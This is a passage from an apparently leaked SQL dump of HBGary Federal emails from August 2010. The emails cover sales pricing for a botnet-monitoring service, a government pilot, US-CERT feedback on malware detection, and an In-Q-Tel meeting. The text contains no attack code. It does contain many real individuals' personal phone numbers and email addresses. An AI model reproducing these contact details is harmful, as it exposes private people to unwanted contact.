hashs\r\n> but we haven\'t got their yet, just don\'t have the manpower right now\r\nto\r\n> do it.  We know its very possible and are pitching the combined\r\n> capability as an offering, its just slow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n\r\n',12639,'aaron_hbgary_com/12639.html'),(9484,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007303.M882925P14101Q4339.eml','\"Greg Hoglund\" <greg@hbgary.com>','All the pieces','And you realize you have all the starting pieces.\r\n\r\nThreat intelligence: tmc and fingerprint and social/open source methodology and Palantir\r\n\r\nIncident response: active defense and responder and fidelis and end games\r\n\r\nIo: exploitation, influence and social media\r\n\r\nIt just all needs to be put together.  Look at my first data sheet.  That is what I was trying to so but I don\'t have the people yet or all the pieces\r\n\r\nAaron\r\n\r\nSent from my iPhone',1372,'aaron_hbgary_com/1372.html'),(9485,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007305.M563195P14101Q4340.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Blackhat leads','Aaron,\r\n\r\nWhat do you think about sending out our service offering / social\r\nmedia whitepapers to small batches at a time to see if we can drum up\r\nany interest (without \"spamming\" the whole list at once).\r\n\r\nTed\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Mon, Aug 2, 2010 at 3:24 PM\r\nSubject: Blackhat leads\r\nTo: Aaron Barr , Ted Vera \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\nNOTICE – Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by\r\nany taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use\r\nby the intended recipient. If you are not the intended recipient or\r\nthe person responsible for   delivering the message to the intended\r\nrecipient, be advised that you have received this message in error and\r\nthat any dissemination, copying or use of this message or attachment\r\nis strictly\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10950,'aaron_hbgary_com/10950.html'),(9486,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007305.M878570P14101Q4341.eml','\"Aaron Barr\" <aaron@hbgary.com>,brian_n._christos@oa.eop.gov,\"Rich Cummings\" <rich@hbgary.com>','Updated Invitation: EOP HBGary Pilot Discussion 4:30 EST @ Tue Aug 3 	4:30pm - 5:30pm (aaron@hbgary.com)','This event has been changed. more details &raquo;Changed: EOP HBGary Pilot Discussion 4:30 ESTChanged: Rich Cummings and Brian Christos will document Scope of Pilot.  Pilot plans will be submitted to EOP CIO for approval.  Targeted pilot timeframe is August.   \r\n\r\n WhenChanged: Tue Aug 3 4:30pm – 5:30pm Eastern TimeWhereCall-in toll number (US/Canada): 1-408-792-6300  Meeting Number: 573 630 045  (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Rich CummingsGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',1622,'aaron_hbgary_com/1622.html'),(9487,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007306.M225200P14101Q4342.eml','\"Aaron Barr\" <aaron@hbgary.com>','EOP Pilot planning initial phone discussion','Hi Aaron\r\n \r\nRich has a meeting scheduled (phone) with Brian Christos tomorrow afternoon... I added you to the invitation list.  Would be great if you can join. Sorry for the short notice.\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',3136,'aaron_hbgary_com/3136.html'),(9488,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007307.M348781P14101Q4344.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: US CERT','No problem. &nbsp;Building relationships is my strong suit.I have an ISSA Clearance, which equates to ts/sci/g/hAaronSent from my iPhoneOn Aug 2, 2010, at 11:39 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Aaron\r\n&nbsp;\r\nI spoke to Sean Sobieraj who is the lead for the malware analysis team under Byron Copeland.&nbsp; They have a meeting today so he will ask if he can get us on the calendar.&nbsp; He said they\r\nare just busy....\r\n&nbsp;\r\nSecurity Clearances were a plus:\r\nHe will check on NDA.&nbsp; \r\nWhat is your security clearance?\r\n&nbsp;\r\nDigital DNA Detection\r\nHe said that Digital DNA is not showing red and orange on the malware samples they\'ve been getting.&nbsp; I explained we update Digital DNA every two weeks.&nbsp; Sean did not know the last time he updated so we are following up there.\r\n\r\n&nbsp;\r\nI explained that Digital DNA could be a lot more effective if we had a relationship in place to share samples... he will check into that.&nbsp; So the meeting with you will include not just selling the TMC but about the relationship in general -- will they share malware to improve DDNA???\r\n\r\n&nbsp;\r\nREcon\r\nSean hasn\'t really used REcon on the job yet.\r\n&nbsp;\r\nTraining\r\nSean\'s group attended training and were a bit disappointed.&nbsp; Not in the instructor or his knowledge but in the content itself.&nbsp; What is not clear in the training is when we do something why we are doing it and we jump around and there are lots of questions etc.&nbsp; I am working with him on the training -- that we are taking his comments and incorporating them, but also to offer to fill the gaps that we didn\'t provide in the classroom.&nbsp; \r\n\r\n&nbsp;\r\nOverall, we\'ve spent time with US-CERT and the people side of the relationship is good but the results haven\'t been there for them yet.&nbsp; I will work on this but wanted to let you know what\r\nyou are walking into.\r\n&nbsp;\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',6933,'aaron_hbgary_com/6933.html'),(9489,'2010-08-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007307.M3918P14101Q4343.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Bank of the West / Botnet','I think $5,000 per month is initially high.\r\nWhat I would do is say we are &quot;piloting&quot; a new service.  For the first 5 customers who sign up for 1 year the cost is a pre-paid $18,000 and significantly below what we will be charging.  In return for the low price we are asking customers to be a reference for HBGary and for the Service.\r\n\r\nI imagine that DigitalGlobe will buy it... maybe Morgan Stanley, Disney, Bank of the West and it will be easy enough to find a 5th.\r\n \r\n \r\nDepending on results we should be able to charge $5,000 per month but it is easier if we already have some customers...  and after a few months we can ask the 5 what they think the &quot;value&quot; is.  \r\n \r\n \r\nOn Mon, Aug 2, 2010 at 4:37 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhat did you think of the price?  How does it compare to the price ofthe HBGary products they&#39;ve purchased?  Do you think $5K/mo is way too\r\nhigh?  EndGames is completely flexible.  We could do $1000/mo(possibly even less) if you think that is all they&#39;d be willing topay.  Obviously we want to give them a good value for their money, andmake a profit...\r\nTedOn Mon, Aug 2, 2010 at 4:38 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; I know what you are saying  but apparently Disney thinks they have a similar&gt; service....I&#39;ll find out.\r\n&gt;&gt; On Mon, Aug 2, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;&gt;&gt; Damballa runs on your network / clients.  EndGames does not.  It is a&gt;&gt; 3rd party verification through passive observation of your IPs\r\n&gt;&gt; participating in one of over 65 botnets/spamnets.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Mon, Aug 2, 2010 at 3:23 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt; Disney is also interested.  I will speak with Bank of the West this week&gt;&gt; &gt; and&gt;&gt; &gt; Disney next week.  Disney is also looking at similar services.&gt;&gt; &gt; Apparently&gt;&gt; &gt; Damballah has something?  I won&#39;t meet with Disney til the week after\r\n&gt;&gt; &gt; next.&gt;&gt; &gt;&gt;&gt; &gt; On Mon, Aug 2, 2010 at 2:07 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; Maria,&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Have you given them a quote for Active Defense?&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; Ted&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; On Mon, Aug 2, 2010 at 2:47 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt;&gt; &gt; Hi Maria,&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; The reason I called is that I just got off the phone with EndGames.&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; The service offering we are putting together for Bank of the West\r\n&gt;&gt; &gt;&gt; &gt; would&gt;&gt; &gt;&gt; &gt; include:&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; Initial report with all historical botnet/spam observations for their&gt;&gt; &gt;&gt; &gt; IPs (they have over 70,000).\r\n&gt;&gt; &gt;&gt; &gt; Daily notification reports of any observed botnet/spam activity from&gt;&gt; &gt;&gt; &gt; their &gt;70,000 IPs.&gt;&gt; &gt;&gt; &gt; Optional weekly, and monthly roll-up reports.&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; What do you think Bank of the West would be willing to pay for such a&gt;&gt; &gt;&gt; &gt; service?  Do you think $5000/month is reasonable (that&#39;s less than $1&gt;&gt; &gt;&gt; &gt; per IP per year)?\r\n&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; EndGames really wants us to win this work.  They are still trying to&gt;&gt; &gt;&gt; &gt; determine a good pricing model for their service, and they are very&gt;&gt; &gt;&gt; &gt; flexible and open to our recommendations.\r\n&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; --&gt;&gt; &gt;&gt; &gt; Ted&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; --&gt;&gt; &gt;&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt;&gt; &gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623&gt;&gt; &gt;&gt; www.hbgary.com  |  ted@hbgary.com&gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt; --&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --\r\n&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623&gt;&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com\r\n&gt;&gt;&gt;&gt;--Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16748,'aaron_hbgary_com/16748.html'),(9490,'2010-08-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007307.M671415P14101Q4345.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: All the pieces','Yeah, which is why I asked you to consider the CEO position.\r\n\r\n-Greg\r\n\r\n\r\nOn Monday, August 2, 2010, Aaron Barr  wrote:\r\n> And you realize you have all the starting pieces.\r\n>\r\n> Threat intelligence: tmc and fingerprint and social/open source methodology and Palantir\r\n>\r\n> Incident response: active defense and responder and fidelis and end games\r\n>\r\n> Io: exploitation, influence and social media\r\n>\r\n> It just all needs to be put together.  Look at my first data sheet.  That is what I was trying to so but I don\'t have the people yet or all the pieces\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',14510,'aaron_hbgary_com/14510.html'),(9491,'2010-08-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007307.M953339P14101Q4346.eml','dgerulski@endgames.us,dgerulski@endgames.us','Pricing','Hi David,\r\n\r\nMaria got back with me.  She thinks $5,000 per month is initially\r\nhigh.  She recommends the following:\r\n\r\n\"What I would do is say we are \"piloting\" a new service.  For the\r\nfirst 5 customers who sign up for 1 year the cost is a pre-paid\r\n$18,000 and significantly below what we will be charging.  In return\r\nfor the low price we are asking customers to be a reference for HBGary\r\nand for the Service.  I imagine that XXX will buy it... maybe XXX,\r\nXXX, XXX and it will be easy enough to find a 5th. Depending on\r\nresults we should be able to charge $5,000 per month but it is easier\r\nif we already have some customers...  and after a few months we can\r\nask the 5 what they think the \"value\" is.\"\r\n\r\nPersonally, I like this approach.  What do you think?\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4714,'aaron_hbgary_com/4714.html'),(9492,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007308.M246427P14101Q4347.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Bank of the West / Botnet','I think that sounds good.AaronSent from my iPhoneOn Aug 2, 2010, at 7:47 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:I think $5,000 per month is initially high.\r\nWhat I would do is say we are \"piloting\" a new service.&nbsp; For the first&nbsp;5 customers who sign up for 1 year the cost is a pre-paid $18,000 and significantly below what we will be charging.&nbsp; In return for the low price we are asking customers to be a reference for HBGary and for the Service.\r\n\r\nI imagine that DigitalGlobe will buy it... maybe Morgan Stanley, Disney, Bank of the West and it will be easy enough to find a 5th.\r\n&nbsp;\r\n&nbsp;\r\nDepending on results we should be able to charge $5,000 per month but it is easier if we already have some customers...&nbsp; and after a few months we can ask the 5 what they think the \"value\" is.&nbsp; \r\n&nbsp;\r\n&nbsp;\r\nOn Mon, Aug 2, 2010 at 4:37 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhat did you think of the price? &nbsp;How does it compare to the price ofthe HBGary products they\'ve purchased? &nbsp;Do you think $5K/mo is way too\r\nhigh? &nbsp;EndGames is completely flexible. &nbsp;We could do $1000/mo(possibly even less) if you think that is all they\'d be willing topay. &nbsp;Obviously we want to give them a good value for their money, andmake a profit...\r\nTedOn Mon, Aug 2, 2010 at 4:38 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; I know what you are saying&nbsp; but apparently Disney thinks they have a similar&gt; service....I\'ll find out.\r\n&gt;&gt; On Mon, Aug 2, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;&gt;&gt; Damballa runs on your network / clients. &nbsp;EndGames does not. &nbsp;It is a&gt;&gt; 3rd party verification through passive observation of your IPs\r\n&gt;&gt; participating in one of over 65 botnets/spamnets.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Mon, Aug 2, 2010 at 3:23 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt; Disney is also interested.&nbsp; I will speak with Bank of the West this week&gt;&gt; &gt; and&gt;&gt; &gt; Disney next week.&nbsp; Disney is also looking at similar services.&gt;&gt; &gt; Apparently&gt;&gt; &gt; Damballah has something?&nbsp; I won\'t meet with Disney til the week after\r\n&gt;&gt; &gt; next.&gt;&gt; &gt;&gt;&gt; &gt; On Mon, Aug 2, 2010 at 2:07 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; Maria,&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Have you given them a quote for Active Defense?&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; Ted&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; On Mon, Aug 2, 2010 at 2:47 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt;&gt; &gt; Hi Maria,&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; The reason I called is that I just got off the phone with EndGames.&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; The service offering we are putting together for Bank of the West\r\n&gt;&gt; &gt;&gt; &gt; would&gt;&gt; &gt;&gt; &gt; include:&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; Initial report with all historical botnet/spam observations for their&gt;&gt; &gt;&gt; &gt; IPs (they have over 70,000).\r\n&gt;&gt; &gt;&gt; &gt; Daily notification reports of any observed botnet/spam activity from&gt;&gt; &gt;&gt; &gt; their &gt;70,000 IPs.&gt;&gt; &gt;&gt; &gt; Optional weekly, and monthly roll-up reports.&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; What do you think Bank of the West would be willing to pay for such a&gt;&gt; &gt;&gt; &gt; service? &nbsp;Do you think $5000/month is reasonable (that\'s less than $1&gt;&gt; &gt;&gt; &gt; per IP per year)?\r\n&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; EndGames really wants us to win this work. &nbsp;They are still trying to&gt;&gt; &gt;&gt; &gt; determine a good pricing model for their service, and they are very&gt;&gt; &gt;&gt; &gt; flexible and open to our recommendations.\r\n&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt; &gt; --&gt;&gt; &gt;&gt; &gt; Ted&gt;&gt; &gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt;&gt;&gt; &gt;&gt; --&gt;&gt; &gt;&gt; Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\n&gt;&gt; &gt;&gt; Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623&gt;&gt; &gt;&gt; www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com&gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt; --&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax:\r\n&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --\r\n&gt;&gt; Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal&gt;&gt; Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623&gt;&gt; www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com\r\n&gt;&gt;&gt;&gt;--Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',12849,'aaron_hbgary_com/12849.html'),(9493,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007308.M508892P14101Q4348.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Fidelis Discussion','Sent from my iPhoneBegin forwarded message:From: \"Mancini, Jerry\" &lt;jerry.mancini@fidelissecurity.com&gt;Date: August 2, 2010 6:12:23 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Fidelis DiscussionHi Aaron,I\'m away on vacation this week - due back next Monday. I\'d like to know the details behind the missing rules and see what wecan do. When you say \"developing a set of default rules\" - can youelaborate?Thanks,Jerry-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, August 02, 2010 2:25 PMTo: Mancini, JerrySubject: Fidelis DiscussionHi Jerry,Just getting back from Vegas and processing a lot of good contacts andfeedback.Lots of general interest related to Fidelis and HBGary integration.Lots of interest on Fidelis use being able to do sessionreconstructionand some analysis. &nbsp;But the lack of base and generated rules tend toput the box right back into the strict DLP rather than the largerperimeter defense category. &nbsp;I had a brief conversation with Mary outthere on this. &nbsp;Is there any internal momentum or interest indeveloping a set of default rules? &nbsp;Our plan is to eventually work onwhat it might look like to generate rules using Active Defense hashsbut we haven\'t got their yet, just don\'t have the manpower right nowtodo it. &nbsp;We know its very possible and are pitching the combinedcapability as an offering, its just slow.Aaron BarrCEOHBGary Federal Inc.',1872,'aaron_hbgary_com/1872.html'),(9494,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007308.M747515P14101Q4349.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: US CERT','Sent from my iPhoneBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: August 2, 2010 11:39:58 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: US CERTAaron\r\n&nbsp;\r\nI spoke to Sean Sobieraj who is the lead for the malware analysis team under Byron Copeland.&nbsp; They have a meeting today so he will ask if he can get us on the calendar.&nbsp; He said they\r\nare just busy....\r\n&nbsp;\r\nSecurity Clearances were a plus:\r\nHe will check on NDA.&nbsp; \r\nWhat is your security clearance?\r\n&nbsp;\r\nDigital DNA Detection\r\nHe said that Digital DNA is not showing red and orange on the malware samples they\'ve been getting.&nbsp; I explained we update Digital DNA every two weeks.&nbsp; Sean did not know the last time he updated so we are following up there.\r\n\r\n&nbsp;\r\nI explained that Digital DNA could be a lot more effective if we had a relationship in place to share samples... he will check into that.&nbsp; So the meeting with you will include not just selling the TMC but about the relationship in general -- will they share malware to improve DDNA???\r\n\r\n&nbsp;\r\nREcon\r\nSean hasn\'t really used REcon on the job yet.\r\n&nbsp;\r\nTraining\r\nSean\'s group attended training and were a bit disappointed.&nbsp; Not in the instructor or his knowledge but in the content itself.&nbsp; What is not clear in the training is when we do something why we are doing it and we jump around and there are lots of questions etc.&nbsp; I am working with him on the training -- that we are taking his comments and incorporating them, but also to offer to fill the gaps that we didn\'t provide in the classroom.&nbsp; \r\n\r\n&nbsp;\r\nOverall, we\'ve spent time with US-CERT and the people side of the relationship is good but the results haven\'t been there for them yet.&nbsp; I will work on this but wanted to let you know what\r\nyou are walking into.\r\n&nbsp;\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',11400,'aaron_hbgary_com/11400.html'),(9495,'2010-08-02','\"McGovern, Mark\" <MMcGovern@iqt.org>','/aaron@hbgary.com/new/1297007308.M998004P14101Q4350.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Jeff Castelli\" <JeffCastelli@phaseone.net>','RE: Intro','\r\n\r\n\r\n\r\n\r\nAaron&nbsp;I&#8217;d be happy to meet you at the CIA HQ cafeteria &#8211; if that works for you.IQT spaces are intentionally all non-SCIF.&nbsp;Next week is probably best &#8211; Monday or Tues morning are both open.If either work for you let me know.&nbsp; &nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 3:30 PMTo: Jeff CastelliCc: McGovern, MarkSubject: Re: Intro&nbsp;Thanks Jeff,&nbsp;Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.&nbsp;While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.&nbsp;If possible could we meet in a cleared space? &nbsp;I have a badge.&nbsp;Aaron&nbsp;On Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what&#8217;s unique and interesting at HB Gary Federal.&nbsp; Over to you guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;',13923,'aaron_hbgary_com/13923.html'),(9496,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007309.M235479P14101Q4351.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Intro','I am going to pitch the threat intel capability. Tmc, fingerprint, social.What else?Sent from my iPhoneBegin forwarded message:From: \"McGovern, Mark\" &lt;MMcGovern@iqt.org&gt;Date: August 2, 2010 7:59:59 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Jeff Castelli\'\" &lt;JeffCastelli@phaseone.net&gt;Subject: RE: IntroAaron&nbsp;I’d be happy to meet you at the CIA HQ cafeteria – if that works for you.IQT spaces are intentionally all non-SCIF.&nbsp;Next week is probably best – Monday or Tues morning are both open.If either work for you let me know.&nbsp; &nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 3:30 PMTo: Jeff CastelliCc: McGovern, MarkSubject: Re: Intro&nbsp;Thanks Jeff,&nbsp;Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.&nbsp;While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.&nbsp;If possible could we meet in a cleared space? &nbsp;I have a badge.&nbsp;Aaron&nbsp;On Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what’s unique and interesting at HB Gary Federal.&nbsp; Over to you guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;',10525,'aaron_hbgary_com/10525.html'),(9497,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007309.M470679P14101Q4352.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Intro','Endgames data combined with fingerprint On Aug 2, 2010, at 